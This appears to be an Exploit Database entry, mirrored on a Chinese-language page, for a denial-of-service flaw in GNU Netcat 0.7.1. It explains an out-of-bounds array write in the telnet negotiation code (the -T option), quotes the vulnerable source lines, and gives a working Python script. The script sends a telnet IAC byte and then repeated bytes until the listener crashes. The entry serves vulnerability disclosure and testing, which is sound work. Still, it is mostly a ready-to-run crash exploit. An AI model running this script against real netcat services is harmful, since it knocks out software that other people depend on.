NetCat 0.7.1 – Denial of Service

• Exploit Database
• 81 阅读

• 作者： n30m1nd
  日期： 2016-12-05
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/40866/

• #/usr/bin/python
  #-*- Coding: utf-8 -*-
  
  ### GNU Netcat 0.7.1 - Out of bounds array write (Access Violation) by n30m1nd ### 
  
  # Date: 2016-11-19
  # Exploit Author: n30m1nd
  # Vendor Homepage: http://netcat.sourceforge.net/
  # Software Link: https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download
  # Version: 0.7.1
  # Tested on: Debian 3.16.36-1+deb8u2 (2016-10-19) x86_64 GNU/Linux
  
  # Credits
  # =======
  # Props to Giovanni and Armando creators of this useful piece of software, thank you guys!
  # Shouts to the crew at Offensive Security for their huge efforts on making	the infosec community better. See you at AWE!
  
  # How to
  # ======
  # * Get a distribution that ships with gnu netcat or Compile netcat from sources:
  # * # Download
  # * tar -xzf netcat-0.7.1.tar.gz
  # * cd netcat-0.7.1/
  # * ./configure
  # * make
  # * # Netcat will be deployed in src/netcat
  #
  # * Set netcat to listen like the following:
  # * ./netcat -nlvp 12347 -T
  # * Just run this script on a different terminal
  #
  
  # Why?
  # ====
  # When the Telnet Negotiation is activated (-T option), Netcat parses the incoming packets looking for Telnet Control Codes
  # by running them through buggy switch/case code. 
  # Aforementioned code fails to safely check for array boundaries resulting in an array out of bounds write.
  
  # Vulnerable code
  # ===============
  # telnet.c
  # ...
  # 76 static unsigned char getrq[4];
  # 77 static int l = 0;
  # 78 unsigned char putrq[4], *buf = ncsock->recvq.pos;
  # ...
  # 88 /* loop all chars of the string */
  # 89 for (i = 0; i < ref_size; i++) {
  # 90 /* if we found IAC char OR we are fetching a IAC code string process it */
  # 91 if ((buf[i] != TELNET_IAC) && (l == 0))
  # ...
  #100 getrq[l++] = buf[i]; // BANG!
  # 99 /* copy the char in the IAC-code-building buffer */
  # ...
  # 76 static unsigned char getrq[4];
  # 77 static int l = 0;
  # 78 unsigned char putrq[4], *buf = ncsock->recvq.pos;
  
  # Exploit code
  # ============
  
  import socket
  
  RHOST = "127.0.0.1"
  RPORT = 12347
  
  print("[+] Connecting to %s:%d") % (RHOST, RPORT)
  s = socket.create_connection((RHOST, RPORT))
  s.send("\xFF") # Telnet control character
  print("[+] Telnet control character sent")
  print("[i] Starting")
  try:
  	i = 0
  	while True: # Loop until it crashes
  		i += 1
  		s.send("\x30")
  except:
  	print("[+] GNU Netcat crashed on iteration: %d") % (i)
  

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